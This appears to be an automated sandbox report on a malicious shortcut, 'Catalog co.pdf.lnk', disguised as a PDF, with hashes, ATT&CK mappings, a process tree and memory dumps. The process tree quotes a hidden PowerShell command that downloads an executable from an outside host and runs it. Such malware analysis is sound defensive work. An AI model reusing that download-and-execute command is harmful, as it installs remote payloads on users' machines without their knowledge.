ce46c599ce044629569bfaef9e1373fb452c128309cf1fd7aed4c6fc5235c7b5

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
30-07-2024 02:32

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General

Target

Catalog co.pdf.lnk
Size

2KB
MD5

eb248558c413ed59d5f85b05ecba8213
SHA1

67b895b8372810fc71e4bc4b645225adff29239b
SHA256

b9bb4eb13cb09c25862151e98059905804034304d4c65d9efe1f2ad0da38301a
SHA512

215e64935fc7fd4ed15b85b96cf98871bbdd4cfd07f3cefaf89e9374709137a6136793f49182a0dfa3717e5418a7ebac47890ed5fd248f511804a81ef1671697

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2756	2088	cmd.exe	32
PID 2088 wrote to memory of 2756	2088	cmd.exe	32
PID 2088 wrote to memory of 2756	2088	cmd.exe	32
PID 2756 wrote to memory of 2844	2756	cmd.exe	33
PID 2756 wrote to memory of 2844	2756	cmd.exe	33
PID 2756 wrote to memory of 2844	2756	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Catalog co.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri http://ie-servenet.shop/azHOsXsN/Major_0x00012BD4C3BDF0.exe -OutFile $env:TEMP\Major_0x00012BD4C3BDF0.exe;Start-Process $env:TEMP\Major_0x00012BD4C3BDF0.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri http://ie-servenet.shop/azHOsXsN/Major_0x00012BD4C3BDF0.exe -OutFile $env:TEMP\Major_0x00012BD4C3BDF0.exe;Start-Process $env:TEMP\Major_0x00012BD4C3BDF0.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2844-40-0x000007FEF53FE000-0x000007FEF53FF000-memory.dmp

Filesize
4KB

Download
memory/2844-41-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/2844-42-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2844-43-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-44-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-45-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-46-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-47-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-48-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download